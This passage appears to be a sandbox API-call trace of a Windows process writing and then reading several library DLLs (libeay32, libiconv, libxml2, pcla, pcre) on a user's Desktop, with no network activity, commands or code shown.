[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libcurl.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2862fc00, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2862fc00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28655d60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x33e00)) returned 1
[0127.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll", lpFilePart=0x0) returned 0x31
[0127.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libcurl.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libcurl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f8
[0127.517] GetFileType (hFile=0x3f8) returned 0x1
[0127.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.517] GetFileType (hFile=0x3f8) returned 0x1
[0127.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.623] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.623] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libeay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3fc
[0127.625] GetFileType (hFile=0x3fc) returned 0x1
[0127.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.625] GetFileType (hFile=0x3fc) returned 0x1
[0127.625] WriteFile (in: hFile=0x3fc, lpBuffer=0x12599978*, nNumberOfBytesToWrite=0xdc800, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x12599978*, lpNumberOfBytesWritten=0x2ea818*=0xdc800, lpOverlapped=0x0) returned 1
[0127.646] CloseHandle (hObject=0x3fc) returned 1
[0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.693] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libeay32.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28760700, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28760700, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x287d2b20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xdc800)) returned 1
[0127.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll", lpFilePart=0x0) returned 0x32
[0127.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.694] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libeay32.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libeay32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3fc
[0127.694] GetFileType (hFile=0x3fc) returned 0x1
[0127.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.694] GetFileType (hFile=0x3fc) returned 0x1
[0127.694] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.720] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libiconv-2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x404
[0127.721] GetFileType (hFile=0x404) returned 0x1
[0127.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.721] GetFileType (hFile=0x404) returned 0x1
[0127.721] WriteFile (in: hFile=0x404, lpBuffer=0x126761b0*, nNumberOfBytesToWrite=0xece99, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x126761b0*, lpNumberOfBytesWritten=0x2ea818*=0xece99, lpOverlapped=0x0) returned 1
[0127.748] CloseHandle (hObject=0x404) returned 1
[0127.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.760] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libiconv-2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2881ede0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2881ede0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28891200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xece99)) returned 1
[0127.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.761] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll", lpFilePart=0x0) returned 0x34
[0127.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libiconv-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libiconv-2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x404
[0127.761] GetFileType (hFile=0x404) returned 0x1
[0127.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.761] GetFileType (hFile=0x404) returned 0x1
[0127.762] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.782] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libxml2.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408
[0127.784] GetFileType (hFile=0x408) returned 0x1
[0127.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.784] GetFileType (hFile=0x408) returned 0x1
[0127.784] WriteFile (in: hFile=0x408, lpBuffer=0x12763088*, nNumberOfBytesToWrite=0xc9c00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x12763088*, lpNumberOfBytesWritten=0x2ea818*=0xc9c00, lpOverlapped=0x0) returned 1
[0127.807] CloseHandle (hObject=0x408) returned 1
[0127.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.908] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libxml2.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x288b7360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x288b7360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x289e7e60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc9c00)) returned 1
[0127.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll", lpFilePart=0x0) returned 0x31
[0127.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\libxml2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\libxml2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x408
[0127.909] GetFileType (hFile=0x408) returned 0x1
[0127.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.909] GetFileType (hFile=0x408) returned 0x1
[0127.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcla-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40c
[0127.923] GetFileType (hFile=0x40c) returned 0x1
[0127.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.923] GetFileType (hFile=0x40c) returned 0x1
[0127.923] WriteFile (in: hFile=0x40c, lpBuffer=0x1282ccc0*, nNumberOfBytesToWrite=0x52600, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x1282ccc0*, lpNumberOfBytesWritten=0x2ea818*=0x52600, lpOverlapped=0x0) returned 1
[0127.933] CloseHandle (hObject=0x40c) returned 1
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcla-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a0dfc0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28a0dfc0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28a34120, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x52600)) returned 1
[0127.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.939] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll", lpFilePart=0x0) returned 0x30
[0127.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcla-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcla-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40c
[0127.940] GetFileType (hFile=0x40c) returned 0x1
[0127.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.940] GetFileType (hFile=0x40c) returned 0x1
[0127.960] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.978] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcre-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x410
[0127.979] GetFileType (hFile=0x410) returned 0x1
[0127.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.979] GetFileType (hFile=0x410) returned 0x1
[0127.979] WriteFile (in: hFile=0x410, lpBuffer=0x1287f2f8*, nNumberOfBytesToWrite=0x23c00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x1287f2f8*, lpNumberOfBytesWritten=0x2ea818*=0x23c00, lpOverlapped=0x0) returned 1
[0127.985] CloseHandle (hObject=0x410) returned 1
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pcre-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28aa6540, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28aa6540, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28acc6a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x23c00)) returned 1
[0127.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pcre-0.dll", lpFilePart=0x0) returned 0x30
[0127.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
